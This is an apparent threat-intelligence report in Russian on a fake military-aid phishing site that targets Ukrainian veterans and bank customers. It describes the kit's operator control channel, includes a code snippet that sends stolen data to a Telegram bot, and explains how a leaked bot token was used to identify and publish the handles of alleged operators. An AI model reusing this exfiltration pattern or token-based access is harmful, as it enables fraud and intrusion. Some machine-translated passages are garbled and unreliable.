Раскрыта сеть фишинговых атак, связанная с военной помощью: В число подозреваемых вошли 5 банков, установлены лица, ответственные за их управление

Что обнаружила PhishDestroy

20 марта 2026 года система автоматического обнаружения угроз PhishDestroy зафиксировала dopomogvoina[.]sbs — недавно зарегистрированный домен, на котором размещен фишинговый сайт, выдающий себя за «Щит Защитника» («Щит защитника») — поддельный сайт, прикрывающийся деятельностью фонда военной помощи Украине. Сайт ориентирован на украинских ветеранов, раненых в боях и семьи погибших солдат, обещая им государственную финансовую помощь, при этом похищая банковские учетные данные пяти крупнейших банков Украины.

Ниже приводится полный обзор всех фактов, выявленных в ходе нашего автоматизированного анализа: методы социальной инженерии, техническая инфраструктура, система управления операторами в режиме реального времени, а также личности лиц, стоящих за этой схемой.

Раздел 1: Приманка — «Фонд ложной военной помощи»

Домен dopomogvoina[.]sbs была зарегистрирована 20 марта 2026 года посредством NICENIC International Group Co., Limited, регистратор, который, как известно, медленно реагирует на сообщения о злоупотреблениях или вообще не реагирует на них. .sbs TLD (Side-By-Side) — это недорогой gTLD, который часто используется для создания одноразовой фишинговой инфраструктуры.

Сайт позиционирует себя как профессиональный портал помощи, связанный с государственными структурами. В верхней части страницы красуется украинский флаг, военная символика придает сайту достоверности, а текст страницы тщательно составлен на украинском языке с использованием бюрократических формулировок, характерных для официальных государственных программ.

Снимок экрана 5 — Страница фишингового сайта, выдающего себя за «Щит Защитника».

Чтобы укрепить доверие, операторы подделали счетчик статистики, который был размещен на видном месте на главной странице:

• 2 847 заявок — что означает, что тысячи людей уже получили помощь
• Выплачено 47,2 млн ₴ — крупная, но вызывающая доверие фигура в УАГ
• 19 программ — предполагающая проведение комплексной операции с участием нескольких программ

Эти цифры полностью выдуманы и жестко заложены в исходный код страницы без связи с сервером. Они служат единственной цели: создать эффект «социального доказательства», чтобы преодолеть колебания жертвы.

Раздел 2: Ловушка — 5 банков, одна цель

После нажатия кнопки «Подать заявку» жертве открывается экран выбора банка. В качестве вариантов предлагаются пять крупнейших розничных банков Украины, каждый из которых представлен с официальным брендингом и логотипом. Именно на этом этапе социальная инженерия переходит от эмоционального манипулирования к техническому хищению.

Снимок экрана 6 — Экран выбора банка. Каждый вариант ведет к запуску индивидуальной последовательности действий по краже учетных данных.

Анализ пакета JavaScript сайта показал, что у каждого банка есть уникальная многоэтапная последовательность действий по сбору учетных данных, адаптированный с учетом фактического алгоритма аутентификации данного банка:

Схема атаки на любой банк выглядит одинаково:

Снимок экрана 7 — Клонированная страница входа в систему PrivatBank.

Снимок экрана 9 — Клонированная страница входа в систему PUMB.

Скриншот 10 — Полный ход атаки: от поддельной страницы о военной помощи до выбора банка, кражи учетных данных и взлома учетной записи.

Технологический стек: React SPA интерфейс, предоставляемый через CDN Cloudflare, с Express.js бэкэнд, отвечающий за перехват учетных данных. Архитектура React позволяет создавать плавные многоэтапные формы, которые внешне ничем не отличаются от подлинных банковских интерфейсов.

Раздел 3: Управление оператором в режиме реального времени

Это не простой инструмент для сбора учетных данных со статической базой данных. Фишинговый набор включает в себя панель управления WebSocket в режиме реального времени которая позволяет оператору управлять сессией каждой жертвы в режиме реального времени.

Конечная точка WebSocket по адресу wss://dopomogvoina[.]sbs/ws поддерживает следующие типы сообщений:

register          — New victim session created
update_user_data  — Stolen credentials transmitted to operator
next_step         — Operator advances victim to next theft stage
create_application — Victim starts "aid application"
answer_question   — Operator sends custom prompt to victim

Благодаря этому управлению в режиме реального времени оператор может:

• Принудительно перевести в состояние ожидания — отображать надпись «Обрабатываем вашу заявку...» во время входа в реальный банковский счет жертвы
• Перейти к определенному шагу — повторно запросить SMS-код, если срок действия первого истек
• Показывать поддельные сообщения об ошибках — «Неверный код, введите его заново» для сбора нескольких токенов двухфакторной аутентификации
• Задайте индивидуальные вопросы — запрос даты рождения, номера карты или любых дополнительных данных в ходе сеанса

Снимок экрана 8 — Форма ввода номера телефона, используемая для кражи учетных данных.

Снимок экрана 11 — Панель оператора для управления сессиями жертв в режиме реального времени.

Полный перечень данных, похищенных за один сеанс: phone, password, PIN, SMS code, card number, date of birth, и email.

Раздел 4: Что стоит за Cloudflare — два проекта, один сервер

Прокси-сервер Cloudflare скрывает исходный сервер, однако конвейер анализа инфраструктуры PhishDestroy определил истинный IP-адрес исходного сервера: 45.131.214[.]148, размещенный на RapidSeedbox / LeaseWeb в Нидерландах.

Важная деталь: dopomogvoina[.]sbs осуществляется через Cloudflare, скрывая свой IP-адрес. Но наша система также отслеживает hlpforvpeople[.]sbs — связанный домен, зарегистрированный через того же регистратора NICENIC с совпадающими шаблонами. Этот домен — НЕ за Cloudflare, прямо раскрывая свой IP-адрес: 45.131.214[.]148.

Прямое подключение к этому IP-адресу — без Host заголовок — показал нечто неожиданное: совершенно другой фишинговый сайт. Вместо украинской военной помощи по умолчанию обслуживался виртуальный хост «Медицинская карта»— фишинговая операция, направленная на пользователей медицинского страхования в Индонезии. Тот же сервер, совершенно другие жертвы, совершенно другая страна.

Снимок экрана 12 — Две параллельные фишинговые операции, использующие один и тот же сервер происхождения: украинская военная помощь (dopomogvoina) и индонезийское медицинское страхование (HealthCare ID).

Шаблон фишингового письма из Индонезии представляет собой известный набор, отслеживаемый в базе данных PhishDestroy по анализу угроз. Мы наблюдали, как различные варианты именно этого шаблона использовались по всей Юго-Восточной Азии — в атаках на финансовые учреждения Индонезии, Таиланда и Вьетнама. Злоумышленники просто заменяют шаблоны, адаптированные под конкретную страну, при этом продолжая использовать одну и ту же серверную инфраструктуру.

Раздел 5: Файл config.json, раскрывший все

Вот как один-единственный файл с неправильными настройками привел к срыву всей операции — шаг за шагом.

После определения второго проекта исходного сервера PhishDestroy JS-анализатор — наш инструмент для автоматического анализа JavaScript — был нацелен на набор файлов индонезийского фишингового сайта по адресу https://45.131.214[.]148/assets/index-ZMQxHb_h.js. Анализатор извлек все конечные точки API, внешние URL-адреса и пути к файлам конфигурации из JavaScript-файла размером 335 КБ. Среди обнаруженных данных:

• Пять конечных точек API по адресу rezervtemka[.]cc — панель C2 для проверки учетных данных
• Соединение WebSocket с wss://rezervtemka[.]cc
• Интеграция Facebook Pixel для отслеживания жертв
• Ссылка на /config.json — загружается во время выполнения для настройки бота в Telegram

Следуя этой подсказке, мы получили /config.json с исходного IP-адреса. Доступ к файлу был возможен без какой-либо аутентификации — он находился в корневом каталоге веб-сайта и был доступен для чтения любому пользователю:

async function loadConfig() {
  const response = await fetch('/config.json');
  // ...
}
async function sendNotification() {
  const cfg = await loadConfig();
  await fetch(`https://api.telegram.org/bot${cfg.bot_token}/sendMessage`, {
    method: 'POST',
    body: JSON.stringify({ chat_id: cfg.chat_id, text: message })
  });
}

Этот /config.json доступ к файлу был возможен напрямую с исходного IP-адреса — без аутентификации, без контроля доступа — просто обычный файл JSON, расположенный в корневом каталоге веб-сайта:

{
  "bot_token": "8724623843:AAFXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "chat_id": "-100XXXXXXXXXX"
}

Токен бота в Telegram одновременно является и именем пользователя, и паролем. Любой, у кого есть этот токен, может отправлять запросы к API от имени этого бота. Операторы оставили свои токены в общедоступном файле. Через шесть вызовов API у нас было всё:

Скриншот 13 — Полная цепочка OSINT: от утечки файла config.json до полной идентификации оператора за 6 вызовов API.

От одного неправильно настроенного файла до полной идентификации оператора за шесть HTTP-запросов. Никаких уязвимостей, никакого несанкционированного доступа — всего лишь стандартные вызовы API бота Telegram с использованием токена, который сами операторы оставили открытым.

Раздел 6: Операторы

Скриншот 14 — Группа операторов Telegram «Idr card», раскрытая благодаря утечке токена бота.

Владелец / Создатель

МОНЕТТИ ЭСКОБАР

@monettiescobar

Идентификатор в Telegram: 8135223234

Telegram Premium, Профиль для бизнеса

Часовой пояс: UTC+3 (регион СНГ)

10 публичных сообщений — строгий режим безопасности операций

Чат TraFFeeQМедуза Google AdsКанал «Дипфейки»

Оператор / Диспетчер

Не торопись

Доброе утро

Идентификатор в Telegram: 6242202706

Также известен как: PapaZakonVor, Boa, bubullikk

261 сообщение в 12 группах

DC2 — Амстердам, Нидерланды

CryptoGrabРынок STYXУровень CCEMPIRE CHATРешение Phoenix

Разработчик / Программист

Девойс

@devosus

Идентификатор в Telegram: 8213612730

Разработчик фишингового набора — операторы называют его «кодером»

В случае обнаружения взлома следует «подумать о мерах защиты»

Минимальное воздействие на окружающую среду благодаря специальной конструкции

Купить @devosus ≈ «dev ops us» — должность в качестве имени пользователя

Разработчик набораИнфраструктураБезопасность

МОНЕТТИ ЭСКОБАР — Босс

MONETTI соблюдает строгие меры операционной безопасности — только 10 публичных сообщений по 2 группам. Но эти группы говорят сами за себя: Чат TraFFeeQ (арбитраж трафика с целью мошенничества), Медуза Google Ads (черная оптимизация Google Ads) и Канал «Дипфейки». В его бизнес-профиле в Telegram указано «Есть предложение» («У меня есть предложение») — открыто рекламирующие свои услуги. Часовой пояс UTC+3 (соответствующий Москве, Минску и Киеву) и круглосуточный режим работы свидетельствуют о том, что компания базируется в странах СНГ и работает без перерыва.

Бонья — Беспечный

В отличие от тщательной меры безопасности MONETTI, Бонья (прежний псевдоним: Отец права — что-то вроде «Папа-вор по закону») оставил за собой огромный цифровой след — 261 сообщение в 12 подпольных группах. Его история чатов читается как криминальное резюме:

Его членство в различных организациях дает полное представление о нем: CryptoGrab (хакеры, крадущие средства с криптовалютных кошельков), Рынок STYX (подпольный рынок украденных данных), Проверка уровня CC (инструменты проверки кредитных карт), EMPIRE CHAT и Решение Phoenix (координация мошеннических действий). Это не случайный преступник — это человек, глубоко вовлечённый в экосистему киберпреступности.

Devoys — разработчик

Техническая основа всей операции. По замыслу — минимальное внешнее присутствие: когда группу взломали, Боня прямо обратился к нему: "@devosus подумай над защитой пока нам жопу не порвали" — «@devosus, давай подумаем о защите, пока нас не разгромили». Его саркастическая реакция на этот инцидент — "когда в интерпол" («Когда проводить интерполяцию») — свидетельствует о том, что это не первый случай, когда они едва избежали беды.

Анализ поведения: расшифровка 261 сообщения

Конвейер OSINT от PhishDestroy собрал и перевел все 261 публичное сообщение от Бони из 12 подпольных групп в Telegram (июнь 2024 г. — март 2026 г.). Машинный перевод с помощью API DeepL с ручной корректировкой с учетом контекста. Сообщения раскрывают полную картину деятельности — ниже они сгруппированы по видам преступной деятельности.

Банковское мошенничество и фишинг

«Денежные мулы» и вывод средств

Мошенничество с трафиком и злоупотребление рекламой

МОНЕТТИ ЭСКОБАР: Молчаливый босс

В отличие от 261 сообщения Боньи, у MONETTI всего 10 публичных сообщений — всё в одном потоке на Чат TraFFeeQ (Арбитраж трафика с помощью черного ADS/SEO), в защиту коллеги:

Остальное можно узнать в телеграм-группах MONETTI: Медуза Google Ads (мошенничество в сфере PPC с использованием методов «черной оптимизации»), а Канал «Дипфейки» (синтетические средства для совершения мошенничества), а также Чат «Мальборо» (закрытый, неизвестен). Подписка на Telegram Premium, круглосуточная работа и «Есть предложение» («У меня есть предложение») Биографии предпринимателей рисуют картину человека, который рассматривает киберпреступность как полноценный бизнес.

Скриншот 2 — Профиль MONETTI в Telegram.

Снимок экрана 3 — Профиль Боньи. Обратите внимание на DC2 (Амстердам).

Раздел 7: «Комната паники»

После того как PhishDestroy получил доступ к группе операторов через уязвимого бота в Telegram, произошел следующий обмен сообщениями. Приведенный ниже журнал чата переведен на английский язык, при этом исходный русский текст сохранен курсивом. Идентификационные данные, использованные для доступа, были замазаны.

Группа была удалена в течение нескольких минут. Прощальное подтверждение Бони — «+» — и ответ Девойса «да» говорят сами за себя: они понимали, что их раскрыли, и единственным выходом для них было уничтожить улики. Но к тому моменту данные уже были собраны.

Обратите внимание на показательный комментарий Бони: «Нас также атаковали через украинский бот» — подтверждая, что оба проекта (украинский и индонезийский) обслуживаются одной и той же командой операторов, и что это был не первый случай взлома их инфраструктуры.

Раздел 8: Что это показывает

Хронология расследования

Связанные домены

В ходе нашего анализа была выявлена вторая область — hlpforvpeople[.]sbs — зарегистрированы у одного и того же регистратора с одинаковыми схемами инфраструктуры. Оба домена занесены в нашу базу данных:

• Отчет PhishDestroy: dopomogvoina[.]sbs
• Отчет PhishDestroy: hlpforvpeople[.]sbs

Основные выводы

• Автоматизация — единственный способ не отставать от времени. Фишинговые наборы развертываются и становятся орудием злоумышленников в течение нескольких часов. Ручная проверка не способна обеспечить необходимую масштабируемость.
• Операторы допускают ошибки. Файл конфигурации, оставленный без надлежащей защиты в одном из второстепенных проектов, позволил раскрыть целую международную фишинговую операцию. Обеспечить безупречную оперативную безопасность (OPSEC) во всех проектах — задача не из легких.
• Социальная инженерия развивается в такт новостному циклу. Война, гуманитарная помощь и государственные программы всё чаще используются в качестве приманок для фишинга, поскольку они нацелены на людей, оказавшихся в бедственном положении, которые реже задумываются о законности таких предложений.
• Повторное использование инфраструктуры — это норма. Один сервер, два фишинговых проекта, две страны, одни и те же операторы. Анализ связей между элементами инфраструктуры дает гораздо больше информации, чем изучение отдельного домена в изоляции.

Отказ от ответственности: Данное расследование проводилось исключительно с помощью пассивной разведки и общедоступных API. Несанкционированный доступ к каким-либо системам не осуществлялся. При вызове API-интерфейса бота Telegram использовался токен, который операторы открыли для общего доступа в неавторизованном конечной точке. Все доменные имена в данной статье были замазаны в соответствии со стандартной практикой в сфере информационной безопасности.